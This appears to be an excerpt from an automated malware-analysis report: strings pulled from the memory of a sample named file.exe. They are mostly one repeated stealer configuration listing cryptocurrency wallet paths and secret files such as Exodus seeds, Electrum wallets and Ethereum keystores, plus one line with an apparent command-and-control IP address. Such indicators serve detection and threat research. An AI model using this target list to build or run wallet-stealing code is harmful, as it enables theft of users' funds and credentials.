Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local 